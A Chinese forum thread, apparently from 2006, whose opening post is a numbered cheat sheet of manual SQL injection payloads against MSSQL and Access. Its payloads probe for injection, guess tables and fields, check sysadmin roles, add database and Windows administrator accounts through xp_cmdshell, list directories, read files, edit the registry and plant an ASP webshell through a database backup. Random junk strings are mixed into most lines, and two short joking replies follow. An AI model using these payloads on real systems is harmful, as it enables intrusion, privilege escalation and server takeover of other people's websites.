社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4265阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 )C]x?R([m  
  2.初步判断是否是mssql ;and user>0 C7"HQQ  
"ED8z|]j  
  3.注入参数是字符'and [查询条件] and ''=' DguB  
!q /5yEJ>h  
  4.搜索时没过滤参数的'and [查询条件] and '%25'='  M[P^]J@  
T 1Cs>#)  
  5.判断数据库系统 M}FWBs'*|  
vgG}d8MW37  
  ;and (select count(*) from sysobjects)>0 mssql l gq=GHW  
J\`^:tcG  
  ;and (select count(*) from msysobjects)>0 access H'Qo\L4H  
wK5_t[[  
}[=YU%[o:  
\ aKd5@  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 ?S`>>^  
aC\4}i<  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 NB)t7/Us  
F? ]N8W  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 DdjCn`jqlf  
2<6j1D^jM  
  9.(1)猜字段的ascii值(access) Go8F5a@j  
BQrL7y  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 F @SG((`  
*@M3p}',M  
  (2)猜字段的ascii值(mssql) /6tcSg)  
3'#%c>_  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 8 njuDl  
aj7dH5SZl  
  10.测试权限结构(mssql) L(o#4YH}>J  
gA:TL{X0  
bx;f`8SN  
tbur$ 00  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- {*xBm#  
VTw/_Hf2p  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ~ =.CTm]vf  
$$gtZ{ukQ  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 0s%6n5>  
SGf9U^ds  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- P;U@y" s  
aqL<v94wX  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- YKx 1NC  
dr]&kqm  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- j$P I,`  
TmP8 q  
  ;and 1=(select IS_MEMBER('db_owner'));-- /tC9G@Hl  
Rc9<^g`  
mK\aI  
;'1Apy  
  11.添加mssql和系统的帐户 /H&aMk}J@y  
TA;,>f*  
  ;exec master.dbo.sp_addlogin username;-- uBeNXOre  
  ;exec master.dbo.sp_password null,username,password;-- n t HT  
" i`8l.Lc  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ^ KOzCLC  
2%YXc|gGT  
  ;exec master.dbo.xp_cmdshell 'net user username password U$J5r+>  
I:&# U$  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- eP|)SU  
,)$Wm-  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- >d%VDjk .  
Gpu_=9vzv  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- l%PnB )F  
%$9:e J?  
o;;,iHu*  
(,tHL  
  12.(1)遍历目录 VkXn8J  
F6&P~H  
  ;create table dirs(paths varchar(100), id int) p7[(z  
(j N]OE^  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' e^frVEV  
7^wE$7hS  
  ;and (select top 1 paths from dirs)>0 cjY@Ot*i$  
!%62Phai  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ;1E_o  
9[{sEg=C$e  
O5MDGg   
s`vSt* ]K  
  (2)遍历目录 ITvHD-,\  
ZKQo#!}  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- yBe(^ n  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 f\'G`4e  
F@^N|;_2  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 PP4d?+;V  
IUawdB5CB  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ,.7vBt6 p  
]Zv ,  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 =ZMF]|  
1 ypjyu  
Iaa|qJ4  
Wa, 7P2r  
  13.mssql中的存储过程 p">WK<N  
{X]9^=O"  
  xp_regenumvalues 注册表根键, 子键 >w2f8tW`PP  
3_U\VGm  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ~2 Oc K  
sD2Qm  
  xp_regread 根键,子键,键值名 %*p^$5L<  
Hn^sW LT  
  ;exec xp_regread Ij,Yuo  
I+~\ w N  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ?o>6S EGW  
k(9s+0qe  
  xp_regwrite 根键,子键, 值名, 值类型, 值 [oJ& J>U'  
JU2P%3  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 )<Ob  
|VYr=hjo  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 d'q&Lq  
`\e'K56W6  
  xp_regdeletevalue 根键,子键,值名 8J^d7uC  
+7^w9G  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 i&pMF O  
% &2B  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 #:I^&~:  
!p"Kd ~  
d3(+ztmG!  
2{gwY85:  
  14.mssql的backup创建webshell x{j+}'9  
++gPv}:$X  
  use model 2_I+mQ  
-G!6U2*#  
  create table cmd(str image); o[imNy~~  
4V>vg2 d  
  insert into cmd(str) values (''); 3l+|&q[v  
x' ?.~  
  backup database model to disk='c:\l.asp'; 9<w=),R`8  
+>^[W~[2  
)2toL5Q  
*.,8,e8Vq  
  15.mssql内置函数 E s:5yX!  
DbQBVy  
  ;and (select @@version)>0 获得Windows的版本号 c%b\CP\)W  
n }TTq6B  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa ^X$ I=ro  
T 77)Np  
  ;and (select user_name())>0 爆当前系统的连接用户 [e1\A&T  
g\qX7nIH?  
  ;and (select db_name())>0 得到当前连接的数据库 jigbeHRy  
FfjC M7?  
O2$!'!hz  
}il%AAI9}r  
  16.简洁的webshell cS5w +`,L  
zK,~37)\  
  use model "wF*O"WQo  
C\J@fpH(t`  
  create table cmd(str image); #'#4hJ*YC  
Vj29L?3  
  insert into cmd(str) values (''); VDPxue  
g8Ok ^  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八